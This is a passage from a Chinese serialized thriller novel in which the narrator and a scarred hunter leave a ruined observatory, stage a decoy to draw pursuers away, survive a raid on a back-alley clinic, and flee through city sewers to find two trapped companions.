“次级共鸣腔……”猎人喃喃自语,眼神锐利起来,“看来,这里还藏着别的东西。或许,没被完全销毁。”
他走到那面墙壁前,用手敲击着不同区域,侧耳倾听。最终,他在一块看起来与其他地方无异的墙板前停下,用力一推!
“咔嚓”一声轻响,墙板向内翻转,露出了后面一条向下的、更加狭窄黑暗的楼梯!
“走!”猎人没有丝毫犹豫,率先走了下去。
我看着他消失在楼梯口的黑暗中,又看了看这间充满不祥气息的主控室,跟了上去。
楼梯陡峭而漫长,旋转向下,仿佛通往地狱深处。
当我们终于到达底部时,出现在眼前的,是一个不大的圆形房间。房间中央,是一个嵌入地面的、由某种非金非石的黑色材料构成的池子,池子边缘连接着许多早已断裂、锈蚀的管道和线缆。
而在池子的正上方,穹顶位置,悬挂着一个造型奇特的、如同无数黑色水晶簇聚合而成的装置,它似乎与池子是一体的。
更令人毛骨悚然的是,在房间的角落里,倚坐着一具早已风干、穿着破烂白大褂的骸骨!骸骨的头颅低垂,一只手向前伸出,手指似乎指向池子的方向。在他面前的地面上,用某种暗红色的物质写着几个扭曲的大字:
“门已开缝,回不去了。”
猎人手中的光柱凝固在那具骸骨和那行字上,他的脸色在幽蓝的微光映照下,变得异常难看。
“我们来晚了……”他声音沙哑,带着一种我从未听过的、近乎……恐惧的情绪?“或者说……太早了?”
我顺着他的目光,看向那散发着不祥幽光的黑色水晶簇,以及池底那暗红色的结晶。体内的伤痛和高烧仿佛在这一刻被某种更深邃的冰冷所取代。
这个观测站,并非完全死寂。
某种东西,似乎还在这里……低语。
第七十章 数据之饵与钢铁丛林
圆形房间内,那幽蓝的微光如同垂死星辰的喘息,映照着池底暗红的结晶和角落那具指向永恒的骸骨。
“门已开缝,回不去了”——这绝望的遗言在死寂中回荡,比任何尖叫都令人心悸。
猎人站在那里,身体紧绷如同拉满的弓,目光死死锁定在那簇散发着不祥光芒的黑色水晶上。他脸上那道疤痕在幽光下微微抽搐,眼神里翻涌着震惊、警惕,以及一丝……我从未在他眼中见过的,近乎本能的恐惧。
“这是什么?”我沙哑地问,声音在狭小空间里显得异常突兀。
“共鸣腔……核心。”猎人的声音低沉得几乎听不见,他缓缓抬起手,似乎想触碰那水晶,“它不应该……还有活性。除非……”
他猛地转头,目光锐利地射向我:“除非有强烈的外部刺激,或者……附近出现了高强度的‘源井’共鸣残留!”他的眼神仿佛要刺穿我的身体,“你在‘白房子’启动‘零号协议’时,到底引发了什么?!”
我心头一震,想起那席卷基地的断电、低沉的嗡鸣,以及体内被抽离又似乎留下某种印记的感觉。“我不知道……当时感觉很混乱,像是很多东西被撕扯……”
“够了!”猎人打断我,眼神恢复了之前的冷硬和决断,“不管是什么,这里不能待了。这东西就像个信标!”他迅速将装有笔记本和图纸的金属箱子背在身上,然后一把架起我,“走!立刻离开!”
我们沿着来时的螺旋楼梯向上狂奔,猎人的动作比下来时更加急促,几乎是将我拖着走。回到主控室,穿过狼藉的大厅,重新钻入那条狭窄的检修管道。
爬出通风井,重新回到山谷中昏暗的光线下,我们才稍微松了口气,但紧张感丝毫未减。
“现在去哪?”我喘着气问,靠在冰冷的岩壁上,感觉体力正在飞速流逝。
猎人没有立刻回答,他再次拿出那个简陋的无线电设备,快速调试着。
几分钟后,设备传来一阵微弱的、断断续续的回应信号,同样是某种编码。
猎人仔细倾听着,脸色变幻不定。最终,他关闭设备,看向我,眼神复杂。
“有个消息……关于你那两个同伴的。”
我的心猛地提起!“她们怎么了?!”
“她们还在灰岩镇,没被抓到,但处境极其危险。阿杰的人封锁了主要出口,正在挨家挨户搜查。‘勋’的人也混了进去,似乎在找机会下手。”猎人语速很快,“老猫那个情报贩子不可靠,她们现在躲在一个废弃的酿酒作坊里,暂时安全,但撑不了多久。”
周玲和李医生还活着!但她们被困住了!
“我们必须去救她们!”我急切地说道。
“救?怎么救?”猎人冷冷地看着我,“就凭你我现在的样子?一个半死不活,另一个……”他顿了顿,“……面对的是两个组织的精锐。”
“那怎么办?难道看着她们……”
“有个办法。”猎人打断我,眼神锐利起来,“灰岩镇往东八十公里,就是河滨市。那里鱼龙混杂,势力盘根错节,就算是‘勋’和‘创世纪’,也不敢像在荒野和灰岩镇这样明目张胆地行动。只要她们能进入市区,找到庇护所,就有周旋的余地。”
河滨市!
“可她们怎么**去河滨市?”我追问。
“这就是关键。”猎人从金属箱子里拿出那几张古老的手绘图纸,指着其中一张上面标记的几个看似无关的符号和路线,“这是观测站早期建设时使用的秘密物资通道图,其中一条支线,因为地质变动早已被官方记录为废弃,但实际上……它绕过灰岩镇主区,通往镇子东面一片荒废的河滩,那里偶尔会有不受镇子管控的走私船停留。”
他看向我,目光灼灼:“我们可以把这个信息,还有观测站里关于‘源井’和‘圣所’的部分关键数据(经过筛选的),作为‘饵’,抛出去。”
“抛给谁?”
“通过一个特定的、混乱的加密频道,同时抛给阿杰和‘勋’在灰岩镇的负责人。”猎人嘴角露出一丝笑意,“告诉他们,数据和周玲、李医生,都在那条秘密通道出口的河滩上。他们双方都想要数据和你的同伴,必然会调动主力前往争夺。”
“调虎离山?”我立刻明白了他的意图。
“没错。灰岩镇内部防守必然空虚。同时,我会用另一个加密线路,联系我在灰岩镇仅存的、勉强还能信任的一个老关系,让他趁乱找到周玲和李医生,带她们从镇子另一条更隐蔽的小路离开,直奔河滨市。”
“这太冒险了!”我指出关键问题,“首先,你怎么确保你那个‘老关系’可靠?其次,阿杰和‘勋’的人发现河滩上什么都没有,立刻就会反应过来是上当了,她们根本跑不远!”
“所以需要双重诱饵。”
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猎人眼神没有丝毫动摇,“第一重,数据和位置信息,吸引他们主力。第二重……”他的目光落在我身上,“……是你。”
我愣住了。
“我会在传递的信息里,暗示你也在前往河滩的路上,试图与同伴汇合。你对他们的价值,尤其是对‘勋’的价值,足以让他们坚信不疑,将大部分注意力都集中在河滩区域。至于我那个老关系……”他顿了顿,脸上露出一丝复杂的表情,“他欠我一条命。而且,他比任何人都想离开灰岩镇这个泥潭,去河滨市重新开始。这是他唯一的机会。”
我沉默了。这是一个极度疯狂的计划,环环相扣,任何一个环节出错,都将万劫不复。
但正如猎人所言,这是我们目前唯一能想到的,有机会救出周玲和李医生,并将战场引向更适合我们隐藏和周旋的都市区域的办法。
“你需要我做什么?”我最终用干涩的声音问道。
“活着。撑到河滨市。”猎人言简意赅,“我会和你一起去河滩方向,制造我们确实试图汇合的假象。我们需要在河滩附近露个面,吸引足够的目光,然后想办法脱身,绕路前往河滨市。这个过程会非常危险,我们可能会被咬住。”
他看着我苍白如纸的脸色和几乎无法站立的左腿,补充道:“我会尽量帮你,但最终,要靠你自己。”
我缓缓点了点头。
“好。”
我们立刻行动起来。猎人开始操作无线电,用那种特定的节奏发送加密信息。
我则靠在岩壁上,抓紧时间休息,积攒着每一分可能用于逃亡的力气。
几个小时后,夜幕降临,山林被墨色浸透。猎人关闭了无线电。
“消息发出去了。我们该动了。”他站起身,将金属箱子妥善藏好,只带上必要的武器和少量补给。“河滩在东北方向,大约十公里。路不好走,抓紧我。”
他再次架起我,我们如同融入夜色的幽灵,离开了这个隐藏着可怕秘密的观测站山谷,朝着预设的、充满危险的“舞台”——那片荒废的河滩,艰难前行。
每向前一步,都离可能的拯救更近一步,也离更激烈的碰撞更近一步。灰岩镇的混乱序幕已被拉开,而河滨市的钢铁丛林,正等待着吞噬新的猎物与猎人。
狩猎的舞台,即将转移。而我和猎人,既是诱饵,也是试图在绝境中撕开生路的……亡命之徒。
第七十一章 都市暗影
河滨市的轮廓在天际线上铺陈开来,像一片由钢铁、玻璃和霓虹构成的冰冷丛林。高耸的建筑群在稀薄的晨雾中若隐若现,反射着苍白的天光。
我和猎人藏在市郊一片废弃的工业区边缘。这里曾经是繁忙的工厂和仓库,如今只剩下锈蚀的骨架、破碎的窗户和墙上斑驳的涂鸦。空气中弥漫着机油、化学品和垃圾腐烂的混合气味。
“不能再往前了,你需要处理伤口,不然进到城里也是个死。”猎人蹲在我身边,检查着我的腿,眉头紧锁。
“去哪里处理?医院肯定不能去。”我沙哑地说,视线有些模糊。河滨市看似是庇护所,但同样危机四伏。“勋”和阿杰的触角很可能已经伸了进来。
“有个地方,或许可以试试。”猎人沉吟片刻,“我以前的一个‘线人’,后来金盆洗手,在这片开了一家黑诊所,专门处理见不得光的伤。不知道还在不在。”
我们借着废弃厂房和堆积如山的工业垃圾作为掩护,向着猎人记忆中的方位艰难移动。城市的喧嚣越来越近,废弃区里并非空无一人,我们偶尔能看到蜷缩在纸箱里的流浪汉,或是眼神警惕、快速穿行于废墟之间的黑影。
猎人对这里的地形似乎很熟悉,带着我七拐八绕,最终停在一栋看起来摇摇欲坠的三层小楼前。
“就是这里。”猎人示意我保持警惕,他上前,没有敲门,而是用一种特定的节奏,用手指在铁门上敲击了几下。
过了十几秒,铁门上的一个小窥视孔被拉开,一双浑浊而警惕的眼睛在黑暗中扫视着我们。
“看病。”猎人低声道。
窥视孔后的眼睛在我身上停留了几秒,尤其是在我明显变形的左腿和满身的血污上。然后,窥视孔关上,里面传来铁链滑动的声音。
“吱呀——”
铁门被拉开一条仅容一人通过的缝隙。一个穿着脏兮兮白大褂、头发稀疏、眼神闪烁的干瘦老头站在门后,他打量着我们,尤其是猎人脸上那道疤,眼神里闪过一丝不易察觉的惊惧。
“疤……疤脸?”老头的声音有些颤抖。
“是我。老鬼,别废话,救人。”猎人语气不容置疑,架着我就往里走。
被称为老鬼的老头没敢阻拦,赶紧关上门,重新挂上铁链。
“把他放那边。”老鬼指着一张铺着肮脏塑料布、上面还有可疑污渍的手术台。
猎人将我扶上去,我几乎瘫软在上面。
老鬼戴上橡胶手套,开始检查我的伤势。他的动作算不上温柔,但很专业。
“这……这怎么搞的?感染很严重,需要立刻清创,可能还要截……”他话没说完,就被猎人冰冷的眼神打断了。
“尽你所能,保住他的腿。用你最好的药。”猎人沉声道,同时将几枚看起来像是金币的东西塞进老鬼手里。
老鬼看着金币,犹豫了一下,最终还是点了点头。“我只能尽力……但你们不能待太久,我这里……不安全。”
他开始准备器械和药品。猎人则守在门口,透过门缝警惕地观察着外面。
就在老鬼准备缝合腹部伤口时,外面突然传来一阵急促而杂乱的脚步声,以及粗暴的砸门声!
“开门!警察!临检!”
不对!不是警察的节奏!是冒充的!
猎人的眼神瞬间锐利如鹰,他猛地看向老鬼。
老鬼脸色煞白,手一抖,缝合针掉在了地上。“他……他们……怎么找到这里的……”
“你出卖我们?!”猎人一步跨到老鬼面前,扼住了他的喉咙,声音如同来自地狱。
“没……没有!”老鬼惊恐地挣扎,“可能……可能是之前的病人……或者……他们一直盯着我这里……”
砸门声更加猛烈,铁门发出不堪重负的**。
“来不及了!”猎人松开老鬼,迅速扫视诊所。
他的目光落在角落一个存放医疗废物的、半人高的金属桶上。“进去!”他对我低吼道,同时一把将吓瘫的老鬼塞到手术台下,“你,闭嘴!不然一起死!”
我忍着剧痛,用尽最后力气滚下手术台,蜷缩进那个充满血腥和药味的金属桶里。
几乎在同时,“砰”的一声巨响,铁门被猛地撞开!
杂乱的脚步声涌入诊所。
“搜!”
“人呢?!”
“老头,刚才那两个人呢?!”
我听到老鬼惊恐的、带着哭腔的辩解声:“什……什么人?就……就我一个……各位老大,是不是搞错了……”
“少他妈装傻!有人看见疤脸带着个伤员进来了!”
“给我仔细搜!”
脚步声在狭小的诊
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所内回荡,物品被翻倒、砸碎的声音不绝于耳。
突然,脚步声停在了金属桶旁边。
“这里面是什么?”一个粗嘎的声音问道。
我全身的肌肉瞬间绷紧,握紧了手中那枚冰冷的密钥,准备做最后的搏斗。
“医……医疗废物……都是沾了血的东西……有……有病菌……”老鬼结结巴巴地回答。
外面沉默了几秒,似乎是在犹豫。
就在这时,诊所外突然传来了激烈的**和**声!距离很近!
诊所内的追兵顿时一阵骚乱。
“外面怎么回事?!”
“妈的!是‘黑蛇’帮的人!他们怎么来了?!”
“别管这老头了!先出去支援!”
脚步声迅速远去,伴随着叫骂和更多的**。
外面似乎爆发了突如其来的帮派火并?
我蜷缩在恶臭的桶里,不敢动弹。不知道过了多久,外面的**逐渐稀疏,最终停止。
桶盖被猛地掀开,猎人那张沾着些许血迹和灰尘的脸出现在上方。
“出来!快走!”他的语气急促。
我被他从桶里拉出来,踉跄着站定。诊所里一片狼藉,老鬼缩在手术台下,瑟瑟发抖,倒是没受伤。
“怎么回事?”我喘着气问。
“不知道是哪路人马,正好和追兵撞上了,狗咬狗。”猎人快速说道,眼神里没有丝毫侥幸,“但这里不能待了,**会把真正的警察引来。”
他看了一眼老鬼,扔下几枚金币。“管好你的嘴。”
猎人架起我,迅速离开了这片是非之地。我们穿过更加破败和混乱的街区,身后远处隐约传来了警笛声。
河滨市迎接我们的,不是庇护,而是更加直接、更加混乱的危险。
而我们,两个伤痕累累的不速之客,已经一头撞了进来。
猎人带着我钻进了一条散发着恶臭的下水道入口,暂时甩开了地面的视线。在黑暗、潮湿和啮齿动物奔跑的窸窣声中,他沉声说:
“我们需要一个新的据点,还有情报。必须尽快找到周玲和李医生的下落,她们进入河滨市,就像水滴汇入大海,但也可能……已经被盯上了。”
冰冷的污水没过脚踝,都市的阴影从四面八方合拢。狩猎,在这片钢铁丛林中,以另一种形式展开了。
第七十二章 污渠亡命
粘稠的、带着腐烂有机物和化学试剂混合的恶臭,几乎凝成实质,钻进鼻腔,黏在喉咙深处,引发一阵阵干呕。
河滨市光鲜亮丽表皮之下,肮脏的血管系统。我们如同两只被迫钻入其中的老鼠,在其中艰难跋涉。
每走一步,左腿都传来撕裂般的剧痛。
“撑住。”猎人的声音在狭窄的管道里显得沉闷,他架着我,深一脚浅一脚地前行,警惕地注意着前后方的动静和头顶偶尔传来的、车辆驶过的沉闷轰鸣。“我们必须找个地方让你喘口气,处理一下伤口,这样下去不行。”
我知道他说得对,但我连回答的力气都没有。
我们在迷宫般的管道网络中穿行,猎人似乎对这类城市基础设施的布局有一定了解,他凭借着微弱的光线和管壁上模糊的标识,选择着方向。
“这边。”他通常能很快做出决定,带着我转向他认为相对安全或者可能通往某个临时栖身点的支线。
不知走了多久,我们来到了一个相对宽敞的地方。
“就在这里歇一下。”猎人将我扶到平台上,靠在冰冷的墙壁上。
他关闭了手电筒,节省电力,黑暗瞬间吞噬了我们,只有远处管道口透进的、来自城市地面的微弱光晕,勾勒出模糊的轮廓。
他再次检查我的伤势,用手摸了摸我的额头,眉头皱得更紧。“烧得更厉害了。伤口在污水里泡着,感染会加剧。”他从那个仿佛无所不能的背包里又掏出那个陶罐,但里面的药膏似乎所剩无几。
他小心翼翼地涂抹在我腿部和腹部的伤口上,那点清凉感在灼热的疼痛面前,如同杯水车薪。
“我们必须尽快搞到抗生素和干净的绷带。”他沉声道,声音在黑暗中带着压抑的焦虑。
“去哪里搞?”我沙哑地问。
“黑市。或者……‘借用’某个小诊所的药房。”猎人语气平静。“但首先,我们需要知道我们在哪,以及外面的情况。”
他再次拿出那个简陋的无线电,开始调试。这一次,他似乎在尝试接收公共频段的讯息,或者寻找特定的信号。
下水道里并非完全寂静。除了永不停歇的水流声,还能隐约听到头顶城市传来的各种模糊声响——车辆的噪音、人声的喧哗、偶尔的警笛。这些声音经过层层阻隔,变得扭曲而遥远,如同另一个世界的回响。
无线电里传来滋滋啦啦的噪音,偶尔夹杂着一些断断续续的对话片段,大多是市政维修的通讯或者无关紧要的市民通话。猎人耐心地调整着频率。
突然,一个略微清晰的、带着急促语调的男声插了进来,似乎是在某个加密程度不高的私人频道上:
“……重复!灰岩镇方向过来的两个目标女性已确认进入C7区!一辆黑色无牌厢式货车!请求指示!是否拦截?”
一个冰冷的女声回应:“不要打草惊蛇!跟住她们!确定最终落脚点!‘园丁’已经就位,等他们先动手,我们黄雀在后!”
“明白!”
C7区!黑色无牌厢式货车!“园丁”已经就位!
我的心猛地揪紧!是周玲和李医生!她们进入了河滨市,但行踪已经暴露!而且被至少两方人马盯上了!
猎人显然也听到了,他立刻停止了调频,眼神在黑暗中闪烁着锐利的光芒。
“C7区……靠近旧港口的工业废墟和廉租公寓混杂区域,鱼龙混杂,确实是藏身的好地方,但也容易被人堵死。”他快速分析着,“她们的车被盯上,说明对方掌握了她们进入市区的通道。那个带她们来的‘老关系’,恐怕也不干净。”
“必须去救她们!”我挣扎着想站起来,却被猎人一把按住。
“怎么救?你现在这个样子,出去就是送死!”他低喝道,“而且我们连她们具体在哪里都不知道!盲目冲过去,只会一起暴露!”
“那怎么办?!”我几乎是在低吼,绝望和无力感如同污水般淹没上来。
“等。”猎人出乎意料地冷静,“等她们找到相对安全的落脚点,等‘勋’的人先动手。鹬蚌相争,我们才有机会。现在冲动,只会让所有人都陷入绝境。”
他重新打开无线电,开始尝试发送信号,但这一次的编码方式与之前完全不同,更加复
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杂,节奏也变了。
“你在联系谁?”我问。
“一个……或许还信得过的‘老朋友’。”猎人没有过多解释,只是专注地操作着,“他在河滨市消息灵通,或许能提供更精确的情报,或者……给我们一个暂时的安全屋。”
等待的时间漫长而煎熬。每一分每一秒,周玲和李医生都可能落入“勋”或者阿杰的魔爪。
而我,却只能蜷缩在这污秽恶臭的下水道里,无能为力。
不知过了多久,无线电终于传来了一阵微弱的、同样经过编码的回应信号。猎人仔细倾听着,脸上的表情稍微松弛了一丝。
“有消息了。”他关闭无线电,看向我,“C7区,黑水街,一家叫‘锈锚’的废弃船厂办公楼。她们暂时在那里落脚。带她们来的人确实有问题,已经被‘处理’了。现在盯着那里的,除了‘勋’的人,至少还有两股不明势力。”
他顿了顿,继续说道:“我那个‘朋友’提供了一个地址,在东区,一个由退伍老兵经营的、兼营情报和武器改装的地下车库,相对安全,也有基础的医疗条件。但过去需要穿过大半个城市,以我们现在的状态,风险很大。”
“去船厂!”我毫不犹豫地说,“必须尽快找到她们!”
“我知道。”猎人眼神复杂地看着我,“但我们需要计划,也需要一点……运气。”
他站起身,再次架起我。“我们先离开这个鬼地方,找个能观察到地面情况的口子上去。我们需要知道外面的具体局势,才能决定下一步怎么走。”
我们继续在黑暗的下水道中跋涉,朝着猎人判断的、可能通往C7区方向的管道前进。
污水的冰冷、恶臭的窒息感、伤痛的折磨,以及对周玲和李医生命运的担忧,交织成一张绝望的网。
但在这极致的黑暗中,那一点点关于她们下落的消息,如同微弱的磷火,支撑着我残存的意志。
河滨市的狩猎,已经从阴暗的下水道,延伸到了它那错综复杂的街道与建筑之中。
而我们,既是猎人,也是被迫在钢铁丛林间亡命的猎物。